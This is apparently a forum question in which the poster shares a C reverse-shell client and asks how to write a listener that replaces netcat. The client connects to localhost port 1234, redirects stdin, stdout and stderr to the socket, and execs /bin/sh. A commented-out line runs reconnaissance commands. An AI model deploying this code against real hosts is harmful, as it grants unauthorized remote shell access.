Does anybody have any ideas on: How I could implement a server for this client without using netcat?
I've tried different things but as I'm not too familiar with pipes I thought about making this post. If I use this code and i set up a netcat listener such as "nc -l 1234" I would receive the redirected shell from the client below.
How could I implement a server with the same functionality as netcat, but without using netcat for this particular client?
Thanks.
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in serv_addr = {0};
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(1234);
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//system("uname -a; w; id");
execl("/bin/sh", "sh", NULL);
}